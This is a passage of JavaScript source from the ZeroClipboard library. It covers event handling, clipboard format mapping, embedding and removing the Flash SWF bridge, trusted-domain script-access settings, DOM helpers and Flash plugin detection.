zeroclipboard: {
version: ZeroClipboard.version,
config: ZeroClipboard.config()
}
};
};
/**
* The underlying implementation of `ZeroClipboard.isFlashUnusable`.
* @private
*/
var _isFlashUnusable = function() {
return !!(_flashState.disabled || _flashState.outdated || _flashState.unavailable || _flashState.deactivated);
};
/**
* The underlying implementation of `ZeroClipboard.on`.
* @private
*/
var _on = function(eventType, listener) {
var i, len, events, added = {};
if (typeof eventType === "string" && eventType) {
events = eventType.toLowerCase().split(/\s+/);
} else if (typeof eventType === "object" && eventType && typeof listener === "undefined") {
for (i in eventType) {
if (_hasOwn.call(eventType, i) && typeof i === "string" && i && typeof eventType[i] === "function") {
ZeroClipboard.on(i, eventType[i]);
}
}
}
if (events && events.length) {
for (i = 0, len = events.length; i < len; i++) {
eventType = events[i].replace(/^on/, "");
added[eventType] = true;
if (!_handlers[eventType]) {
_handlers[eventType] = [];
}
_handlers[eventType].push(listener);
}
if (added.ready && _flashState.ready) {
ZeroClipboard.emit({
type: "ready"
});
}
if (added.error) {
var errorTypes = [ "disabled", "outdated", "unavailable", "deactivated", "overdue" ];
for (i = 0, len = errorTypes.length; i < len; i++) {
if (_flashState[errorTypes[i]] === true) {
ZeroClipboard.emit({
type: "error",
name: "flash-" + errorTypes[i]
});
break;
}
}
}
}
return ZeroClipboard;
};
/**
* The underlying implementation of `ZeroClipboard.off`.
* @private
*/
var _off = function(eventType, listener) {
var i, len, foundIndex, events, perEventHandlers;
if (arguments.length === 0) {
events = _objectKeys(_handlers);
} else if (typeof eventType === "string" && eventType) {
events = eventType.split(/\s+/);
} else if (typeof eventType === "object" && eventType && typeof listener === "undefined") {
for (i in eventType) {
if (_hasOwn.call(eventType, i) && typeof i === "string" && i && typeof eventType[i] === "function") {
ZeroClipboard.off(i, eventType[i]);
}
}
}
if (events && events.length) {
for (i = 0, len = events.length; i < len; i++) {
eventType = events[i].toLowerCase().replace(/^on/, "");
perEventHandlers = _handlers[eventType];
if (perEventHandlers && perEventHandlers.length) {
if (listener) {
foundIndex = _inArray(listener, perEventHandlers);
while (foundIndex !== -1) {
perEventHandlers.splice(foundIndex, 1);
foundIndex = _inArray(listener, perEventHandlers, foundIndex);
}
} else {
perEventHandlers.length = 0;
}
}
}
}
return ZeroClipboard;
};
/**
* The underlying implementation of `ZeroClipboard.handlers`.
* @private
*/
var _listeners = function(eventType) {
var copy;
if (typeof eventType === "string" && eventType) {
copy = _deepCopy(_handlers[eventType]) || null;
} else {
copy = _deepCopy(_handlers);
}
return copy;
};
/**
* The underlying implementation of `ZeroClipboard.emit`.
* @private
*/
var _emit = function(event) {
var eventCopy, returnVal, tmp;
event = _createEvent(event);
if (!event) {
return;
}
if (_preprocessEvent(event)) {
return;
}
if (event.type === "ready" && _flashState.overdue === true) {
return ZeroClipboard.emit({
type: "error",
name: "flash-overdue"
});
}
eventCopy = _extend({}, event);
_dispatchCallbacks.call(this, eventCopy);
if (event.type === "copy") {
tmp = _mapClipDataToFlash(_clipData);
returnVal = tmp.data;
_clipDataFormatMap = tmp.formatMap;
}
return returnVal;
};
/**
* The underlying implementation of `ZeroClipboard.create`.
* @private
*/
var _create = function() {
if (typeof _flashState.ready !== "boolean") {
_flashState.ready = false;
}
if (!ZeroClipboard.isFlashUnusable() && _flashState.bridge === null) {
var maxWait = _globalConfig.flashLoadTimeout;
if (typeof maxWait === "number" && maxWait >= 0) {
_setTimeout(function() {
if (typeof _flashState.deactivated !== "boolean") {
_flashState.deactivated = true;
}
if (_flashState.deactivated === true) {
ZeroClipboard.emit({
type: "error",
name: "flash-deactivated"
});
}
}, maxWait);
}
_flashState.overdue = false;
_embedSwf();
}
};
/**
* The underlying implementation of `ZeroClipboard.destroy`.
* @private
*/
var _destroy = function() {
ZeroClipboard.clearData();
ZeroClipboard.deactivate();
ZeroClipboard.emit("destroy");
_unembedSwf();
ZeroClipboard.off();
};
/**
* The underlying implementation of `ZeroClipboard.setData`.
* @private
*/
var _setData = function(format, data) {
var dataObj;
if (typeof format === "object" && format && typeof data === "undefined") {
dataObj = format;
ZeroClipboard.clearData();
} else if (typeof format === "string" && format) {
dataObj = {};
dataObj[format] = data;
} else {
return;
}
for (var dataFormat in dataObj) {
if (typeof dataFormat === "string" && dataFormat && _hasOwn.call(dataObj, dataFormat) && typeof dataObj[dataFormat] === "string" && dataObj[dataFormat]) {
_clipData[dataFormat] = dataObj[dataFormat];
}
}
};
/**
* The underlying implementation of `ZeroClipboard.clearData`.
* @private
*/
var _clearData = function(format) {
if (typeof format === "undefined") {
_deleteOwnProperties(_clipData);
_clipDataFormatMap = null;
} else if (typeof format === "string" && _hasOwn.call(_clipData, format)) {
delete _clipData[format];
}
};
/**
* The underlying implementation of `ZeroClipboard.activate`.
* @private
*/
var _activate = function(element) {
if (!(element && element.nodeType === 1)) {
return;
}
if (_currentElement) {
_removeClass(_currentElement, _globalConfig.activeClass);
if (_currentElement !== element) {
_removeClass(_currentElement, _globalConfig.hoverClass);
}
}
_currentElement = element;
_addClass(element, _globalConfig.hoverClass);
var newTitle = element.getAttribute("title") || _globalConfig.title;
if (typeof newTitle === "string" && newTitle) {
var htmlBridge = _getHtmlBridge(_flashState.bridge);
if (htmlBridge) {
htmlBridge.setAttribute("title", newTitle);
}
}
var useHandCursor = _globalConfig.forceHandCursor === true || _getStyle(element, "cursor") === "pointer";
_setHandCursor(useHandCursor);
_reposition();
};
/**
* The underlying implementation of `ZeroClipboard.deactivate`.
* @private
*/
var _deactivate = function() {
var htmlBridge = _getHtmlBridge(_flashState.bridge);
if (htmlBridge) {
htmlBridge.removeAttribute("title");
htmlBridge.style.left = "0px";
htmlBridge.style.top = "-9999px";
htmlBridge.style.width = "1px";
htmlBridge.style.top = "1px";
}
if (_currentElement) {
_removeClass(_currentElement, _globalConfig.hoverClass);
_removeClass(_currentElement, _globalConfig.activeClass);
_currentElement = null;
}
};
/**
* Check if a value is a valid HTML4 `ID` or `Name` token.
* @private
*/
var _isValidHtml4Id = function(id) {
return typeof id === "string" && id && /^[A-Za-z][A-Za-z0-9_:\-\.]*$/.test(id);
};
/**
* Create or update an `event` object, based on the `eventType`.
* @private
*/
var _createEvent = function(event) {
var eventType;
if (typeof event === "string" && event) {
eventType = event;
event = {};
} else if (typeof event === "object" && event && typeof event.type === "string" && event.type) {
eventType = event.type;
}
if (!eventType) {
return;
}
_extend(event, {
type: eventType.toLowerCase(),
target: event.target || _currentElement || null,
relatedTarget: event.relatedTarget || null,
currentTarget: _flashState && _flashState.bridge || null,
timeStamp: event.timeStamp || _now() || null
});
var msg = _eventMessages[event.type];
if (event.type === "error" && event.name && msg) {
msg = msg[event.name];
}
if (msg) {
event.message = msg;
}
if (event.type === "ready") {
_extend(event, {
target: null,
version: _flashState.version
});
}
if (event.type === "error") {
if (/^flash-(disabled|outdated|unavailable|deactivated|overdue)$/.test(event.name)) {
_extend(event, {
target: null,
minimumVersion: _minimumFlashVersion
});
}
if (/^flash-(outdated|unavailable|deactivated|overdue)$/.test(event.name)) {
_extend(event, {
version: _flashState.version
});
}
}
if (event.type === "copy") {
event.clipboardData = {
setData: ZeroClipboard.setData,
clearData: ZeroClipboard.clearData
};
}
if (event.type === "aftercopy") {
event = _mapClipResultsFromFlash(event, _clipDataFormatMap);
}
if (event.target && !event.relatedTarget) {
event.relatedTarget = _getRelatedTarget(event.target);
}
event = _addMouseData(event);
return event;
};
/**
* Get a relatedTarget from the target's `data-clipboard-target` attribute
* @private
*/
var _getRelatedTarget = function(targetEl) {
var relatedTargetId = targetEl && targetEl.getAttribute && targetEl.getAttribute("data-clipboard-target");
return relatedTargetId ? _document.getElementById(relatedTargetId) : null;
};
/**
* Add element and position data to `MouseEvent` instances
* @private
*/
var _addMouseData = function(event) {
if (event && /^_(?:click|mouse(?:over|out|down|up|move))$/.test(event.type)) {
var srcElement = event.target;
var fromElement = event.type === "_mouseover" && event.relatedTarget ? event.relatedTarget : undefined;
var toElement = event.type === "_mouseout" && event.relatedTarget ? event.relatedTarget : undefined;
var pos = _getDOMObjectPosition(srcElement);
var screenLeft = _window.screenLeft || _window.screenX || 0;
var screenTop = _window.screenTop || _window.screenY || 0;
var scrollLeft = _document.body.scrollLeft + _document.documentElement.scrollLeft;
var scrollTop = _document.body.scrollTop + _document.documentElement.scrollTop;
var pageX = pos.left + (typeof event._stageX === "number" ? event._stageX : 0);
var pageY = pos.top + (typeof event._stageY === "number" ? event._stageY : 0);
var clientX = pageX - scrollLeft;
var clientY = pageY - scrollTop;
var screenX = screenLeft + clientX;
var screenY = screenTop + clientY;
var moveX = typeof event.movementX === "number" ? event.movementX : 0;
var moveY = typeof event.movementY === "number" ? event.movementY : 0;
delete event._stageX;
delete event._stageY;
_extend(event, {
srcElement: srcElement,
fromElement: fromElement,
toElement: toElement,
screenX: screenX,
screenY: screenY,
pageX: pageX,
pageY: pageY,
clientX: clientX,
clientY: clientY,
x: clientX,
y: clientY,
movementX: moveX,
movementY: moveY,
offsetX: 0,
offsetY: 0,
layerX: 0,
layerY: 0
});
}
return event;
};
/**
* Determine if an event's registered handlers should be execute synchronously or asynchronously.
*
* @returns {boolean}
* @private
*/
var _shouldPerformAsync = function(event) {
var eventType = event && typeof event.type === "string" && event.type || "";
return !/^(?:(?:before)?copy|destroy)$/.test(eventType);
};
/**
* Control if a callback should be executed asynchronously or not.
*
* @returns `undefined`
* @private
*/
var _dispatchCallback = function(func, context, args, async) {
if (async) {
_setTimeout(function() {
func.apply(context, args);
}, 0);
} else {
func.apply(context, args);
}
};
/**
* Handle the actual dispatching of events to client instances.
*
* @returns `undefined`
* @private
*/
var _dispatchCallbacks = function(event) {
if (!(typeof event === "object" && event && event.type)) {
return;
}
var async = _shouldPerformAsync(event);
var wildcardTypeHandlers = _handlers["*"] || [];
var specificTypeHandlers = _handlers[event.type] || [];
var handlers = wildcardTypeHandlers.concat(specificTypeHandlers);
if (handlers && handlers.length) {
var i, len, func, context, eventCopy, originalContext = this;
for (i = 0, len = handlers.length; i < len; i++) {
func = handlers[i];
context = originalContext;
if (typeof func === "string" && typeof _window[func] === "function") {
func = _window[func];
}
if (typeof func === "object" && func && typeof func.handleEvent === "function") {
context = func;
func = func.handleEvent;
}
if (typeof func === "function") {
eventCopy = _extend({}, event);
_dispatchCallback(func, context, [ eventCopy ], async);
}
}
}
return this;
};
/**
* Preprocess any special behaviors, reactions, or state changes after receiving this event.
* Executes only once per event emitted, NOT once per client.
* @private
*/
var _preprocessEvent = function(event) {
var element = event.target || _currentElement || null;
var sourceIsSwf = event._source === "swf";
delete event._source;
switch (event.type) {
case "error":
if (_inArray(event.name, [ "flash-disabled", "flash-outdated", "flash-deactivated", "flash-overdue" ])) {
_extend(_flashState, {
disabled: event.name === "flash-disabled",
outdated: event.name === "flash-outdated",
unavailable: event.name === "flash-unavailable",
deactivated: event.name === "flash-deactivated",
overdue: event.name === "flash-overdue",
ready: false
});
}
break;
case "ready":
var wasDeactivated = _flashState.deactivated === true;
_extend(_flashState, {
disabled: false,
outdated: false,
unavailable: false,
deactivated: false,
overdue: wasDeactivated,
ready: !wasDeactivated
});
break;
case "copy":
var textContent, htmlContent, targetEl = event.relatedTarget;
if (!(_clipData["text/html"] || _clipData["text/plain"]) && targetEl && (htmlContent = targetEl.value || targetEl.outerHTML || targetEl.innerHTML) && (textContent = targetEl.value || targetEl.textContent || targetEl.innerText)) {
event.clipboardData.clearData();
event.clipboardData.setData("text/plain", textContent);
if (htmlContent !== textContent) {
event.clipboardData.setData("text/html", htmlContent);
}
} else if (!_clipData["text/plain"] && event.target && (textContent = event.target.getAttribute("data-clipboard-text"))) {
event.clipboardData.clearData();
event.clipboardData.setData("text/plain", textContent);
}
break;
case "aftercopy":
ZeroClipboard.clearData();
if (element && element !== _safeActiveElement() && element.focus) {
element.focus();
}
break;
case "_mouseover":
ZeroClipboard.activate(element);
if (_globalConfig.bubbleEvents === true && sourceIsSwf) {
if (element && element !== event.relatedTarget && !_containedBy(event.relatedTarget, element)) {
_fireMouseEvent(_extend({}, event, {
type: "mouseenter",
bubbles: false,
cancelable: false
}));
}
_fireMouseEvent(_extend({}, event, {
type: "mouseover"
}));
}
break;
case "_mouseout":
ZeroClipboard.deactivate();
if (_globalConfig.bubbleEvents === true && sourceIsSwf) {
if (element && element !== event.relatedTarget && !_containedBy(event.relatedTarget, element)) {
_fireMouseEvent(_extend({}, event, {
type: "mouseleave",
bubbles: false,
cancelable: false
}));
}
_fireMouseEvent(_extend({}, event, {
type: "mouseout"
}));
}
break;
case "_mousedown":
_addClass(element, _globalConfig.activeClass);
if (_globalConfig.bubbleEvents === true && sourceIsSwf) {
_fireMouseEvent(_extend({}, event, {
type: event.type.slice(1)
}));
}
break;
case "_mouseup":
_removeClass(element, _globalConfig.activeClass);
if (_globalConfig.bubbleEvents === true && sourceIsSwf) {
_fireMouseEvent(_extend({}, event, {
type: event.type.slice(1)
}));
}
break;
case "_click":
case "_mousemove":
if (_globalConfig.bubbleEvents === true && sourceIsSwf) {
_fireMouseEvent(_extend({}, event, {
type: event.type.slice(1)
}));
}
break;
}
if (/^_(?:click|mouse(?:over|out|down|up|move))$/.test(event.type)) {
return true;
}
};
/**
* Dispatch a synthetic MouseEvent.
*
* @returns `undefined`
* @private
*/
var _fireMouseEvent = function(event) {
if (!(event && typeof event.type === "string" && event)) {
return;
}
var e, target = event.target || null, doc = target && target.ownerDocument || _document, defaults = {
view: doc.defaultView || _window,
canBubble: true,
cancelable: true,
detail: event.type === "click" ? 1 : 0,
button: typeof event.which === "number" ? event.which - 1 : typeof event.button === "number" ? event.button : doc.createEvent ? 0 : 1
}, args = _extend(defaults, event);
if (!target) {
return;
}
if (doc.createEvent && target.dispatchEvent) {
args = [ args.type, args.canBubble, args.cancelable, args.view, args.detail, args.screenX, args.screenY, args.clientX, args.clientY, args.ctrlKey, args.altKey, args.shiftKey, args.metaKey, args.button, args.relatedTarget ];
e = doc.createEvent("MouseEvents");
if (e.initMouseEvent) {
e.initMouseEvent.apply(e, args);
e._source = "js";
target.dispatchEvent(e);
}
}
};
/**
* Create the HTML bridge element to embed the Flash object into.
* @private
*/
var _createHtmlBridge = function() {
var container = _document.createElement("div");
container.id = _globalConfig.containerId;
container.className = _globalConfig.containerClass;
container.style.position = "absolute";
container.style.left = "0px";
container.style.top = "-9999px";
container.style.width = "1px";
container.style.height = "1px";
container.style.zIndex = "" + _getSafeZIndex(_globalConfig.zIndex);
return container;
};
/**
* Get the HTML element container that wraps the Flash bridge object/element.
* @private
*/
var _getHtmlBridge = function(flashBridge) {
var htmlBridge = flashBridge && flashBridge.parentNode;
while (htmlBridge && htmlBridge.nodeName === "OBJECT" && htmlBridge.parentNode) {
htmlBridge = htmlBridge.parentNode;
}
return htmlBridge || null;
};
/**
* Create the SWF object.
*
* @returns The SWF object reference.
* @private
*/
var _embedSwf = function() {
var len, flashBridge = _flashState.bridge, container = _getHtmlBridge(flashBridge);
if (!flashBridge) {
var allowScriptAccess = _determineScriptAccess(_window.location.host, _globalConfig);
var allowNetworking = allowScriptAccess === "never" ? "none" : "all";
var flashvars = _vars(_globalConfig);
var swfUrl = _globalConfig.swfPath + _cacheBust(_globalConfig.swfPath, _globalConfig);
container = _createHtmlBridge();
var divToBeReplaced = _document.createElement("div");
container.appendChild(divToBeReplaced);
_document.body.appendChild(container);
var tmpDiv = _document.createElement("div");
var oldIE = _flashState.pluginType === "activex";
tmpDiv.innerHTML = '<object id="' + _globalConfig.swfObjectId + '" name="' + _globalConfig.swfObjectId + '" ' + 'width="100%" height="100%" ' + (oldIE ? 'classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"' : 'type="application/x-shockwave-flash" data="' + swfUrl + '"') + ">" + (oldIE ? '<param name="movie" value="' + swfUrl + '"/>' : "") + '<param name="allowScriptAccess" value="' + allowScriptAccess + '"/>' + '<param name="allowNetworking" value="' + allowNetworking + '"/>' + '<param name="menu" value="false"/>' + '<param name="wmode" value="transparent"/>' + '<param name="flashvars" value="' + flashvars + '"/>' + "</object>";
flashBridge = tmpDiv.firstChild;
tmpDiv = null;
flashBridge.ZeroClipboard = ZeroClipboard;
container.replaceChild(flashBridge, divToBeReplaced);
}
if (!flashBridge) {
flashBridge = _document[_globalConfig.swfObjectId];
if (flashBridge && (len = flashBridge.length)) {
flashBridge = flashBridge[len - 1];
}
if (!flashBridge && container) {
flashBridge = container.firstChild;
}
}
_flashState.bridge = flashBridge || null;
return flashBridge;
};
/**
* Destroy the SWF object.
* @private
*/
var _unembedSwf = function() {
var flashBridge = _flashState.bridge;
if (flashBridge) {
var htmlBridge = _getHtmlBridge(flashBridge);
if (htmlBridge) {
if (_flashState.pluginType === "activex" && "readyState" in flashBridge) {
flashBridge.style.display = "none";
(function removeSwfFromIE() {
if (flashBridge.readyState === 4) {
for (var prop in flashBridge) {
if (typeof flashBridge[prop] === "function") {
flashBridge[prop] = null;
}
}
if (flashBridge.parentNode) {
flashBridge.parentNode.removeChild(flashBridge);
}
if (htmlBridge.parentNode) {
htmlBridge.parentNode.removeChild(htmlBridge);
}
} else {
_setTimeout(removeSwfFromIE, 10);
}
})();
} else {
if (flashBridge.parentNode) {
flashBridge.parentNode.removeChild(flashBridge);
}
if (htmlBridge.parentNode) {
htmlBridge.parentNode.removeChild(htmlBridge);
}
}
}
_flashState.ready = null;
_flashState.bridge = null;
_flashState.deactivated = null;
}
};
/**
* Map the data format names of the "clipData" to Flash-friendly names.
*
* @returns A new transformed object.
* @private
*/
var _mapClipDataToFlash = function(clipData) {
var newClipData = {}, formatMap = {};
if (!(typeof clipData === "object" && clipData)) {
return;
}
for (var dataFormat in clipData) {
if (dataFormat && _hasOwn.call(clipData, dataFormat) && typeof clipData[dataFormat] === "string" && clipData[dataFormat]) {
switch (dataFormat.toLowerCase()) {
case "text/plain":
case "text":
case "air:text":
case "flash:text":
newClipData.text = clipData[dataFormat];
formatMap.text = dataFormat;
break;
case "text/html":
case "html":
case "air:html":
case "flash:html":
newClipData.html = clipData[dataFormat];
formatMap.html = dataFormat;
break;
case "application/rtf":
case "text/rtf":
case "rtf":
case "richtext":
case "air:rtf":
case "flash:rtf":
newClipData.rtf = clipData[dataFormat];
formatMap.rtf = dataFormat;
break;
default:
break;
}
}
}
return {
data: newClipData,
formatMap: formatMap
};
};
/**
* Map the data format names from Flash-friendly names back to their original "clipData" names (via a format mapping).
*
* @returns A new transformed object.
* @private
*/
var _mapClipResultsFromFlash = function(clipResults, formatMap) {
if (!(typeof clipResults === "object" && clipResults && typeof formatMap === "object" && formatMap)) {
return clipResults;
}
var newResults = {};
for (var prop in clipResults) {
if (_hasOwn.call(clipResults, prop)) {
if (prop !== "success" && prop !== "data") {
newResults[prop] = clipResults[prop];
continue;
}
newResults[prop] = {};
var tmpHash = clipResults[prop];
for (var dataFormat in tmpHash) {
if (dataFormat && _hasOwn.call(tmpHash, dataFormat) && _hasOwn.call(formatMap, dataFormat)) {
newResults[prop][formatMap[dataFormat]] = tmpHash[dataFormat];
}
}
}
}
return newResults;
};
/**
* Will look at a path, and will create a "?noCache={time}" or "&noCache={time}"
* query param string to return. Does NOT append that string to the original path.
* This is useful because ExternalInterface often breaks when a Flash SWF is cached.
*
* @returns The `noCache` query param with necessary "?"/"&" prefix.
* @private
*/
var _cacheBust = function(path, options) {
var cacheBust = options == null || options && options.cacheBust === true;
if (cacheBust) {
return (path.indexOf("?") === -1 ? "?" : "&") + "noCache=" + _now();
} else {
return "";
}
};
/**
* Creates a query string for the FlashVars param.
* Does NOT include the cache-busting query param.
*
* @returns FlashVars query string
* @private
*/
var _vars = function(options) {
var i, len, domain, domains, str = "", trustedOriginsExpanded = [];
if (options.trustedDomains) {
if (typeof options.trustedDomains === "string") {
domains = [ options.trustedDomains ];
} else if (typeof options.trustedDomains === "object" && "length" in options.trustedDomains) {
domains = options.trustedDomains;
}
}
if (domains && domains.length) {
for (i = 0, len = domains.length; i < len; i++) {
if (_hasOwn.call(domains, i) && domains[i] && typeof domains[i] === "string") {
domain = _extractDomain(domains[i]);
if (!domain) {
continue;
}
if (domain === "*") {
trustedOriginsExpanded = [ domain ];
break;
}
trustedOriginsExpanded.push.apply(trustedOriginsExpanded, [ domain, "//" + domain, _window.location.protocol + "//" + domain ]);
}
}
}
if (trustedOriginsExpanded.length) {
str += "trustedOrigins=" + _encodeURIComponent(trustedOriginsExpanded.join(","));
}
if (options.forceEnhancedClipboard === true) {
str += (str ? "&" : "") + "forceEnhancedClipboard=true";
}
if (typeof options.swfObjectId === "string" && options.swfObjectId) {
str += (str ? "&" : "") + "swfObjectId=" + _encodeURIComponent(options.swfObjectId);
}
return str;
};
/**
* Extract the domain (e.g. "github.com") from an origin (e.g. "https://github.com") or
* URL (e.g. "https://github.com/zeroclipboard/zeroclipboard/").
*
* @returns the domain
* @private
*/
var _extractDomain = function(originOrUrl) {
if (originOrUrl == null || originOrUrl === "") {
return null;
}
originOrUrl = originOrUrl.replace(/^\s+|\s+$/g, "");
if (originOrUrl === "") {
return null;
}
var protocolIndex = originOrUrl.indexOf("//");
originOrUrl = protocolIndex === -1 ? originOrUrl : originOrUrl.slice(protocolIndex + 2);
var pathIndex = originOrUrl.indexOf("/");
originOrUrl = pathIndex === -1 ? originOrUrl : protocolIndex === -1 || pathIndex === 0 ? null : originOrUrl.slice(0, pathIndex);
if (originOrUrl && originOrUrl.slice(-4).toLowerCase() === ".swf") {
return null;
}
return originOrUrl || null;
};
/**
* Set `allowScriptAccess` based on `trustedDomains` and `window.location.host` vs. `swfPath`.
*
* @returns The appropriate script access level.
* @private
*/
var _determineScriptAccess = function() {
var _extractAllDomains = function(origins, resultsArray) {
var i, len, tmp;
if (origins == null || resultsArray[0] === "*") {
return;
}
if (typeof origins === "string") {
origins = [ origins ];
}
if (!(typeof origins === "object" && typeof origins.length === "number")) {
return;
}
for (i = 0, len = origins.length; i < len; i++) {
if (_hasOwn.call(origins, i) && (tmp = _extractDomain(origins[i]))) {
if (tmp === "*") {
resultsArray.length = 0;
resultsArray.push("*");
break;
}
if (_inArray(tmp, resultsArray) === -1) {
resultsArray.push(tmp);
}
}
}
};
return function(currentDomain, configOptions) {
var swfDomain = _extractDomain(configOptions.swfPath);
if (swfDomain === null) {
swfDomain = currentDomain;
}
var trustedDomains = [];
_extractAllDomains(configOptions.trustedOrigins, trustedDomains);
_extractAllDomains(configOptions.trustedDomains, trustedDomains);
var len = trustedDomains.length;
if (len > 0) {
if (len === 1 && trustedDomains[0] === "*") {
return "always";
}
if (_inArray(currentDomain, trustedDomains) !== -1) {
if (len === 1 && currentDomain === swfDomain) {
return "sameDomain";
}
return "always";
}
}
return "never";
};
}();
/**
* Get the currently active/focused DOM element.
*
* @returns the currently active/focused element, or `null`
* @private
*/
var _safeActiveElement = function() {
try {
return _document.activeElement;
} catch (err) {
return null;
}
};
/**
* Add a class to an element, if it doesn't already have it.
*
* @returns The element, with its new class added.
* @private
*/
var _addClass = function(element, value) {
if (!element || element.nodeType !== 1) {
return element;
}
if (element.classList) {
if (!element.classList.contains(value)) {
element.classList.add(value);
}
return element;
}
if (value && typeof value === "string") {
var classNames = (value || "").split(/\s+/);
if (element.nodeType === 1) {
if (!element.className) {
element.className = value;
} else {
var className = " " + element.className + " ", setClass = element.className;
for (var c = 0, cl = classNames.length; c < cl; c++) {
if (className.indexOf(" " + classNames[c] + " ") < 0) {
setClass += " " + classNames[c];
}
}
element.className = setClass.replace(/^\s+|\s+$/g, "");
}
}
}
return element;
};
/**
* Remove a class from an element, if it has it.
*
* @returns The element, with its class removed.
* @private
*/
var _removeClass = function(element, value) {
if (!element || element.nodeType !== 1) {
return element;
}
if (element.classList) {
if (element.classList.contains(value)) {
element.classList.remove(value);
}
return element;
}
if (typeof value === "string" && value) {
var classNames = value.split(/\s+/);
if (element.nodeType === 1 && element.className) {
var className = (" " + element.className + " ").replace(/[\n\t]/g, " ");
for (var c = 0, cl = classNames.length; c < cl; c++) {
className = className.replace(" " + classNames[c] + " ", " ");
}
element.className = className.replace(/^\s+|\s+$/g, "");
}
}
return element;
};
/**
* Attempt to interpret the element's CSS styling. If `prop` is `"cursor"`,
* then we assume that it should be a hand ("pointer") cursor if the element
* is an anchor element ("a" tag).
*
* @returns The computed style property.
* @private
*/
var _getStyle = function(el, prop) {
var value = _window.getComputedStyle(el, null).getPropertyValue(prop);
if (prop === "cursor") {
if (!value || value === "auto") {
if (el.nodeName === "A") {
return "pointer";
}
}
}
return value;
};
/**
* Get the zoom factor of the browser. Always returns `1.0`, except at
* non-default zoom levels in IE<8 and some older versions of WebKit.
*
* @returns Floating unit percentage of the zoom factor (e.g. 150% = `1.5`).
* @private
*/
var _getZoomFactor = function() {
var rect, physicalWidth, logicalWidth, zoomFactor = 1;
if (typeof _document.body.getBoundingClientRect === "function") {
rect = _document.body.getBoundingClientRect();
physicalWidth = rect.right - rect.left;
logicalWidth = _document.body.offsetWidth;
zoomFactor = _Math.round(physicalWidth / logicalWidth * 100) / 100;
}
return zoomFactor;
};
/**
* Get the DOM positioning info of an element.
*
* @returns Object containing the element's position, width, and height.
* @private
*/
var _getDOMObjectPosition = function(obj) {
var info = {
left: 0,
top: 0,
width: 0,
height: 0
};
if (obj.getBoundingClientRect) {
var rect = obj.getBoundingClientRect();
var pageXOffset, pageYOffset, zoomFactor;
if ("pageXOffset" in _window && "pageYOffset" in _window) {
pageXOffset = _window.pageXOffset;
pageYOffset = _window.pageYOffset;
} else {
zoomFactor = _getZoomFactor();
pageXOffset = _Math.round(_document.documentElement.scrollLeft / zoomFactor);
pageYOffset = _Math.round(_document.documentElement.scrollTop / zoomFactor);
}
var leftBorderWidth = _document.documentElement.clientLeft || 0;
var topBorderWidth = _document.documentElement.clientTop || 0;
info.left = rect.left + pageXOffset - leftBorderWidth;
info.top = rect.top + pageYOffset - topBorderWidth;
info.width = "width" in rect ? rect.width : rect.right - rect.left;
info.height = "height" in rect ? rect.height : rect.bottom - rect.top;
}
return info;
};
/**
* Reposition the Flash object to cover the currently activated element.
*
* @returns `undefined`
* @private
*/
var _reposition = function() {
var htmlBridge;
if (_currentElement && (htmlBridge = _getHtmlBridge(_flashState.bridge))) {
var pos = _getDOMObjectPosition(_currentElement);
_extend(htmlBridge.style, {
width: pos.width + "px",
height: pos.height + "px",
top: pos.top + "px",
left: pos.left + "px",
zIndex: "" + _getSafeZIndex(_globalConfig.zIndex)
});
}
};
/**
* Sends a signal to the Flash object to display the hand cursor if `true`.
*
* @returns `undefined`
* @private
*/
var _setHandCursor = function(enabled) {
if (_flashState.ready === true) {
if (_flashState.bridge && typeof _flashState.bridge.setHandCursor === "function") {
_flashState.bridge.setHandCursor(enabled);
} else {
_flashState.ready = false;
}
}
};
/**
* Get a safe value for `zIndex`
*
* @returns an integer, or "auto"
* @private
*/
var _getSafeZIndex = function(val) {
if (/^(?:auto|inherit)$/.test(val)) {
return val;
}
var zIndex;
if (typeof val === "number" && !_isNaN(val)) {
zIndex = val;
} else if (typeof val === "string") {
zIndex = _getSafeZIndex(_parseInt(val, 10));
}
return typeof zIndex === "number" ? zIndex : "auto";
};
/**
* Detect the Flash Player status, version, and plugin type.
*
* @see {@link https://code.google.com/p/doctype-mirror/wiki/ArticleDetectFlash#The_code}
* @see {@link http://stackoverflow.com/questions/12866060/detecting-pepper-ppapi-flash-with-javascript}
*
* @returns `undefined`
* @private
*/
var _detectFlashSupport = function(ActiveXObject) {
var plugin, ax, mimeType, hasFlash = false, isActiveX = false, isPPAPI = false, flashVersion = "";
/**
* Derived from Apple's suggested sniffer.
* @param {String} desc e.g. "Shockwave Flash 7.0 r61"
* @returns {String} "7.0.61"
* @private
*/
function parseFlashVersion(desc) {
var matches = desc.match(/[\d]+/g);
matches.length = 3;
return matches.join(".");
}
function isPepperFlash(flashPlayerFileName) {
return !!flashPlayerFileName && (flashPlayerFileName = flashPlayerFileName.toLowerCase()) && (/^(pepflashplayer\.dll|libpepflashplayer\.so|pepperflashplayer\.plugin)$/.test(flashPlayerFileName) || flashPlayerFileName.slice(-13) === "chrome.plugin");
}
function inspectPlugin(plugin) {
if (plugin) {
hasFlash = true;
if (plugin.version) {
flashVersion = parseFlashVersion(plugin.version);
}
if (!flashVersion && plugin.description) {
flashVersion = parseFlashVersion(plugin.description);
}
if (plugin.filename) {
isPPAPI = isPepperFlash(plugin.filename);
}
}
}
if (_navigator.plugins && _navigator.plugins.length) {
plugin = _navigator.plugins["Shockwave Flash"];
inspectPlugin(plugin);
if (_navigator.plugins["Shockwave Flash 2.0"]) {
hasFlash = true;
flashVersion = "2.0.0.11";
}
} else if (_navigator.mimeTypes && _navigator.mimeTypes.length) {
mimeType = _navigator.mimeTypes["application/x-shockwave-flash"];
plugin = mimeType && mimeType.enabledPlugin;
inspectPlugin(plugin);
} else if (typeof ActiveXObject !== "undefined") {
isActiveX = true;
try {
ax = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");
hasFlash = true;
flashVersion = parseFlashVersion(ax.GetVariable("$version"));
} catch (e1) {
try {
ax = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");
hasFlash = true;
flashVersion = "6.0.21";
} catch (e2) {
try {
ax = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
hasFlash = true;
flashVersion = parseFlashVersion(ax.GetVariable("$version"));
} catch (e3) {
isActiveX = false;
}
}
}
}
_flashState.disabled = hasFlash !== true;
_flashState.outdated = flashVersion && _parseFloat(flashVersion) < _parseFloat(_minimumFlashVersion);
_flashState.version = flashVersion || "0.0.0";
_flashState.pluginType = isPPAPI ? "pepper" : isActiveX ? "activex" : hasFlash ? "netscape" : "unknown";
};
/**
* Invoke the Flash detection algorithms immediately upon inclusion so we're not waiting later.
*/
